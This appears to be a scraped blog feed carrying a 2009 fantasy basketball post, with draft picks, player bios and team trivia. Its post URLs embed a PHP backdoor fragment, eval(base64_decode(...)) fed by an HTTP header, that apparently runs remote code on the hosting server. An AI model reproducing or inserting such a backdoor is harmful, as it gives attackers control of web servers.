juicehenderson.com » Denver Nuggets http://juicehenderson.com Long Live the King Dome Fri, 09 Apr 2010 19:57:31 +0000 http://wordpress.org/?v=2.8 en hourly 1 Fantasy Basketball – 2009 http://juicehenderson.com/2009/11/14/fantasy-basketball-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://juicehenderson.com/2009/11/14/fantasy-basketball-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 15 Nov 2009 01:15:34 +0000 Adam http://juicehenderson.com/?p=1292 I joined a fantasy basketball league two weeks into the season.  Oh well, at least I’m in one again.  We have 12 teams, which means your pre-draft decisions have to be about 140 players deep.  I was randomly selected first pick for the league, which in turn, means I pick again at number 24 and 25.  I didn’t like that.  Here are my results:

Fantasy Basketball team 2009

Fantasy Basketball team 2009

My prediction is that I’ll place 4th or 5th in the league.  I don’t think I have the best players, but they are very good and should go far with their teams.  My first 10 picks are strong, the other 3 are going to be sitting the bench a lot.

LeBron James #1 pick:

  • #23
  • Small Forward
  • Cleveland Cavaliers
  • Height: 6-8
  • Weight: 250
  • Born: Dec 30, 1984 – Akron, Ohio
  • College: None
  • Draft: 2003 – 1st round (1st pick) by the Cleveland Cavaliers
  • Choose him first because of his record, leadership and hes only a month younger than me.

Jason Kidd #2 pick:

  • #2
  • Point Guard
  • Dallas Mavericks
  • Height: 6-4
  • Weight: 210
  • Born: Mar 23, 1973 – San Francisco, California
  • College: California
  • Draft: 1994 – 1st round (2nd pick) by the Dallas Mavericks
  • Choose him because he is a quick thinker on the floor and knows how to pass.

Vince Carter #3 pick:Vince Carter - Orlando Magic

  • #15
  • Guard-Forward
  • Orlando Magic
  • Height: 6-6
  • Weight: 220
  • Born: Jan 26, 1977 – Daytona Beach, Florida
  • College: North Carolina
  • Draft: 1998 – 1st round (5th pick) by the Golden State Warriors
  • Choose him because I’ve been following him for 5+ years.  You can say I’m obsessed.  He’s decent, but no superman.

Marcus Camby #4 pick:

  • #23
  • Forward-Center
  • Los Angeles Clippers
  • Height: 6-11
  • Weight: 235
  • Born: Mar 22, 1974 – Hartford, Connecticut
  • College: Massachusetts
  • Draft: 1996 – 1st round (2nd pick) by the Toronto Raptors
  • Choose him because I needed a center early in the draft.  I play to have most rebounds and blocks to score points.
Mehmet Okur #5 pick:
  • #13
  • Center
  • Utah Jazz
  • Height: 6-11
  • Weight: 273
  • Born: May 26, 1979 – Yalova, Turkey
  • College: None
  • Draft: 2001 – 2nd round (9th pick) by the Detroit Pistons
  • Honestly, this pick was an accident.  My Internet connection was in and out and the next thing I know, I drafted him.  Hope he comes through.
Chris Andersen #6 pick:
  • #11
  • Forward-Center
  • Denver Nuggets
  • Height: 6-10
  • Weight: 230
  • Born: Jul 7, 1978 – Long Beach, California
  • College: Blinn College
  • Draft: None
  • NOTE: The NBA stole teams from the Continental Basketball Association (CBA) and created a mini league called NBDL (National Basketball Development League) or D-League.  Andersen joined the Fayetteville Patriots (in the D-League), being the first overall selection in the inaugural draft, eventually being the first player to be called up from the D-League and play in the NBA.  Andersen joined the Nuggets.
  • I got a lot of guff from the other people in the league for this pick.  Not sure why.  I picked him for his rebounds and blocks.
Mike Bibby #7 pick:
  • #10
  • Point Guard
  • Atlanta Hawks
  • Height: 6-2
  • Weight: 195
  • Born: May 13, 1978 – Cherry Hill, New Jersey
  • College: Arizona
  • Draft: 1998 – 1st round (2nd pick) by the Vancouver Grizzlies
  • Choose him because of his speed, defense and passing game.
Rasheed Wallace #8 pick:
  • #30
  • Forward-Center
  • Boston Celtics
  • Height: 6-11
  • Weight: 230
  • Born: Sep 17, 1974 – Philadelphia, Pennsylvania
  • College: North Carolina
  • Draft: 1995 – 1st round (4th pick) by the Washington Bullets
  • Choose him because he is a vetern, and leader on the court.
Josh Howard #9 pick:
  • #5
  • Guard-Forward
  • Dallas Mavericks
  • Height: 6-7
  • Weight: 210
  • Born: Apr 28, 1980 – Winston-Salem, North Carolina
  • College: Wake Forest
  • Draft: 2003 – 1st round (29th pick) by the Dallas Mavericks
  • Put on the IR the day after I drafted him.  Out indefinitely – ugh – my only poor pick for first 10 drafted.
T.J. Ford #10 pick:
  • #5
  • Point Guard
  • Indiana Pacers
  • Height: 6-0
  • Weight: 165
  • Born: Mar 24, 1983 – Houston, Texas
  • College: Texas
  • Draft: 2003 – 1st round (8th pick) by the Milwaukee Bucks
  • Picked him for his steals, and great defense.

Al Thornton #11 pick:

  • #12
  • Forward
  • Los Angeles Clippers
  • Height: 6-8
  • Weight: 235
  • Born: Dec 7, 1983 – Perry, Georgia
  • College: Florida State
  • Draft: 2007 – 1st round (14th pick) by the Los Angeles Clippers
Anthony Parker #12 pick:
  • #18
  • Shooting Guard
  • Cleveland Cavaliers
  • Height: 6-6
  • Weight: 210
  • Born: Jun 19, 1975 – Naperville, Illinois
  • College: Bradley
  • Draft: 1997 – 1st round (21st pick) by the New Jersey Nets
Ramon Sessions #13 pick:
  • #7
  • Guard
  • Minnesota Timberwolves
  • Height: 6-3
  • Weight: 190
  • Born: Apr 11, 1986 – Myrtle Beach, South Carolina
  • College: Nevada
  • Draft: 2007 – 2nd round (26th pick) by the Miami Heat
Useless facts about my team:
Tallest player(s) – Camby, Okur, Wallace at 6-11.
Shortest player – Ford at 6-0.
Youngest player – Sessions, 23 years old
Oldest player – Kidd, 36 years old
Born outside the U.S. – Okur, Yalova,Turkey
11 of 13 players picked first round.  10 players were drafted above 15th pick.
7 players were drafted 5th or higher.
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